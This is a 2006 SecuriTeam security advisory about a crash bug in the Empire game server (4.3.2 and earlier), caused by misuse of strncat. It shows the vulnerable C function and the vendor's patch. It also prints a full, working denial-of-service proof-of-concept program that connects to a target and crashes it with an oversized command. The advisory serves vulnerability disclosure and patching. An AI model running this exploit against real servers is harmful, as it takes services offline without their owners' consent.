[NEWS] Empire Server DoS
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 14 May 2006 18:06:54 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Empire Server DoS
------------------------------------------------------------------------
SUMMARY
" <http://www.wolfpackempire.com/> Empire is a real time, multiplayer,
Internet-based game, featuring military, diplomatic, and economic goals."
Improper handling of user input allows attackers to crash Empire server.
DETAILS
Vulnerable Systems:
* Empire version 4.3.2 and prior
The server crash is caused by access to an invalid zone of the memory.
That happens due to the misuse of strncat in the client_cmd function for
adding the text strings sent by the attacker to the player->client buffer.
From lib/player/login.c:static int client_cmd(void)
{
int i;
if (!player->argp[1])
return RET_SYN;
for (i = 1; player->argp[i]; ++i) {
if (i > 1)
strncat(player->client, " ", sizeof(player->client) - 1);
strncat(player->client, player->argp[i], sizeof(player->client) -
1);
}
player->client[sizeof(player->client) - 1] = '\0';
pr_id(player, C_CMDOK, "talking to %s\n", player->client);
return RET_OK;
}
Vendor Status:
The vendor has issued a patch:
--- login.c.~1.37.~ 2006-04-26 20:50:40.000000000 +0200
+++ login.c 2006-05-09 08:36:04.000000000 +0200
@@ -133,17 +133,23 @@ player_login(void *ud)
static int
client_cmd(void)
{
- int i;
+ int i, sz;
+ char *p, *end;
if (!player->argp[1])
return RET_SYN;
+ p = player->client;
+ end = player->client + sizeof(player->client) - 1;
for (i = 1; player->argp[i]; ++i) {
if (i > 1)
- strncat(player->client, " ", sizeof(player->client) - 1);
- strncat(player->client, player->argp[i], sizeof(player->client) -
1);
+ *p++ = ' ';
+ sz = strlen(player->argp[i]);
+ sz = MIN(sz, end - p);
+ memcpy(p, player->argp[i], sz);
+ p += sz;
}
- player->client[sizeof(player->client) - 1] = '\0';
+ *p = 0;
pr_id(player, C_CMDOK, "talking to %s\n", player->client);
return RET_OK;
}
Exploit:
winerr.h can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 6665
#define BUFFSZ 4096
//#define LINESZ 127
void line_send(int sd, u_char *buff, u_char *cmd, ...);
int line_recv(int sd, u_char *buff, int size);
int mycpy(u_char *dst, u_char *src);
u_int resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i;
u_short port = PORT;
u_char buff[BUFFSZ];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Empire <= 4.3.2 crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- connect ...");
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf(" done\n");
line_recv(sd, buff, sizeof(buff));
printf("- %s\n", buff);
for(i = 0; i < 2; i++) {
printf("- send the big \"client\" command\n");
line_send(
sd,
buff,
"client", // a total of 127 bytes automatically limited by
the server
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
NULL);
}
printf("- wait some seconds:\n");
for(i = 2; i; i--) {
printf("%d\r", i);
sleep(ONESEC);
}
close(sd);
sleep(ONESEC);
printf("- check server:\n");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
return(0);
}
void line_send(int sd, u_char *buff, u_char *cmd, ...) {
va_list ap;
u_char *s,
*p;
p = buff;
p += mycpy(p, cmd);
va_start(ap, cmd);
while((s = va_arg(ap, u_char *))) {
*p++ = ' ';
p += mycpy(p, s);
}
va_end(ap);
*p++ = '\n';
if(send(sd, buff, p - buff, 0)
< 0) std_err();
}
int line_recv(int sd, u_char *buff, int size) {
int t,
len;
for(len = 0, size--; size; size--, len++, buff++) {
t = recv(sd, buff, 1, 0);
if(t < 0) std_err();
if(!t) break;
if(*buff == '\n') break;
}
*buff = 0;
return(len);
}
int mycpy(u_char *dst, u_char *src) {
u_char *p;
for(p = dst; *src; src++, p++) {
*p = *src;
}
*p = 0;
return(p - dst);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/empiredos-adv.txt>
http://aluigi.altervista.org/adv/empiredos-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [EXPL] mp3info Buffer Overflow
- Next by Date: [UNIX] Buffer Overflow and NULL Pointer Crash in Genecys
- Previous by thread: [EXPL] mp3info Buffer Overflow
- Next by thread: [UNIX] Buffer Overflow and NULL Pointer Crash in Genecys
- Index(es):
Relevant Pages
|